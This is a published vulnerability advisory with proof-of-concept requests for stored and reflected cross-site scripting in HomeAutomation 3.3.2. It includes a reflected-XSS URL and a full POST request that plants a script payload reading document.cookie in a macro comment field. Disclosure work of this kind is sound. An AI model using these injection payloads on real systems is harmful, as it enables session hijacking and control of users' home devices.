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# Exploit: HomeAutomation 3.3.2 - Persistent Cross-Site Scripting
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: Tom Rosenback and Daniel Malmgren
# Product web page: http://karpero.mine.nu/ha/
# Affected version: 3.3.2
# Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
# Advisory ID: ZSL-2019-5556
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5556.php
# HomeAutomation v3.3.2 Stored and Reflected XSS


Vendor: Tom Rosenback and Daniel Malmgren
Product web page: http://karpero.mine.nu/ha/
Affected version: 3.3.2

Summary: HomeAutomation is an open-source web interface and scheduling solution.
It was initially made for use with the Telldus TellStick, but is now based on a
plugin system and except for Tellstick it also comes with support for Crestron,
OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers,
etc.) based on an advanced scheduling system, taking into account things like
measurements from various sensors. With the houseplan view you can get a simple
overview of the status of your devices at their location in your house.

Desc: HomeAutomation suffers from multiple stored and reflected XSS vulnerabilities
when input passed via several parameters to several scripts is not properly sanitized
before being returned to the user. This can be exploited to execute arbitrary HTML
and script code in a user's browser session in context of an affected site.

Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
           Apache/2.4.29 (Ubuntu)
           PHP/7.4.0RC4
           PHP/7.3.11
           PHP 7.2.24-0ubuntu0.18.04.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5556
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5556.php


06.11.2019

--


Reflected XSS:
--------------

https://192.168.2.113/?page=houseplan&autologin=1&msg=eyJpZCI6IiIsInRleHQiOiI8bWFycXVlZT50ZXN0PC9tYXJxdWVlPlVzZXJuYW1lIG9yIHBhc3N3b3JkIHdyb25nIiwiYWRkaXRpb25hbFRleHQiOiIiLCJ0eXBlIjoiZXJyb3IiLCJhdXRvQ2xvc2UiOmZhbHNlLCJzaG93T25seUluRGVidWciOmZhbHNlfQ==


Stored XSS:
-----------

POST /homeautomation_v3_3_2/?page=conf-macros HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 998
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryq4LcgA7mbqElCW4q
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Referer: http://localhost/homeautomation_v3_3_2/?page=conf-macros&action=edit&id=-1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: HomeAutomation_user=admin; HomeAutomation_hash=842427e5fc831255d7aa811b70e64957; PHPSESSID=ldcipit064rfp5l8rtcah091og


------WebKitFormBoundaryq4LcgA7mbqElCW4q
Content-Disposition: form-data; name="id"

-1
------WebKitFormBoundaryq4LcgA7mbqElCW4q
Content-Disposition: form-data; name="action"

save
------WebKitFormBoundaryq4LcgA7mbqElCW4q
Content-Disposition: form-data; name="name"

XSS
------WebKitFormBoundaryq4LcgA7mbqElCW4q
Content-Disposition: form-data; name="comment"

"><script>confirm(document.cookie)</script>
------WebKitFormBoundaryq4LcgA7mbqElCW4q
Content-Disposition: form-data; name="icon_on"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryq4LcgA7mbqElCW4q
Content-Disposition: form-data; name="scenario"

1
------WebKitFormBoundaryq4LcgA7mbqElCW4q
Content-Disposition: form-data; name="devices[0]"

1
------WebKitFormBoundaryq4LcgA7mbqElCW4q
Content-Disposition: form-data; name="statuses[0]"

1
------WebKitFormBoundaryq4LcgA7mbqElCW4q
Content-Disposition: form-data; name="save"

Save
------WebKitFormBoundaryq4LcgA7mbqElCW4q--